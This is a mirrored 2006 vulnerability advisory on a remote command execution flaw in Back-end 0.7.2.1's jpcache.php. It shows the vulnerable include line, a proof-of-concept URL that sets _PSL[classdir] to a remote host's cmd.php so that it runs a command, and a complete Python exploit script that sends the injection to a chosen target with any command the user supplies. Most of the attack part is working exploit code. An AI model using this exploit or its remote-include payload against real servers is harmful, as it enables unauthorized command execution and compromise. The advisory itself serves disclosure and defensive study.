Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:13053
HistoryJun 09, 2006 - 12:00 a.m.

Back-end = 0.7.2.1 (jpcache.php) Remote command execution

2006-06-0900:00:00
vulners.com
15

/ Federico Fazzi, <[email protected]>
*/ Back-end = 0.7.2.1 (jpcache.php) Remote command execution
*/ 08/06/2006 1:04

Bug:

jpcache.php: line 40


$includedir = $_PSL['classdir'] . "/jpcache";

Proof of concept:

Back-end have a default path pre-set on jpcache.php,
and cracker can execute a remote command.

http://example/[be_path]/class/jpcache/jpcache.php?_PSL[classdir]=http://example/cmd.php?exec=uname

you can use too the exploit f_mg-2.62.py

#!/usr/bin/env python

Back-end = 0.7.2.1 (jpcache.php) Remote command execution

vendor, http://www.back-end.org/

python f_be-0.7.2.1.py <remote_addr> <remote_port> <remote_path>

<remote_cmd> <command>

Federico Fazzi <[email protected]>

more info see advisory.

import os, sys, socket

usage = "run: python %s [remote_addr] [remote_port] [remote_path]
[remote_cmd] <command>" % os.path.basename(sys.argv[0])

if len(sys.argv) < 6:
print usage
sys.exit()
else:
host = sys.argv[1]
port = int(sys.argv[2])
path = sys.argv[3]
cmd = sys.argv[4]
command = sys.argv[5]

    print &quot;Back-end = 0.7.2.1 &#40;jpcache.php&#41; Remote command execution&quot;
    print &quot;Federico Fazzi &lt;[email protected]&gt;&#92;n&quot;

    includers = [&#39;class/jpcache/jpcache.php?_PSL[classdir]=&#39;]

    for inc in includers:
            print &quot;&gt;&gt; i try string &#37;s&quot; &#37; inc
            sock = socket.socket&#40;socket.AF_INET, socket.SOCK_STREAM&#41;
            sock.connect&#40;&#40;host, port&#41;&#41;
            sock.send&#40;&quot;GET &#37;s&#37;s&#37;s?cmd=&#37;s &#92;r&#92;n&quot; &#37; &#40;path, inc, cmd, command&#41;&#41;
    print &quot;&#92;n&gt;&gt; reading.. done&#92;n&quot;
    buf = sock.recv&#40;2048&#41;
    print buf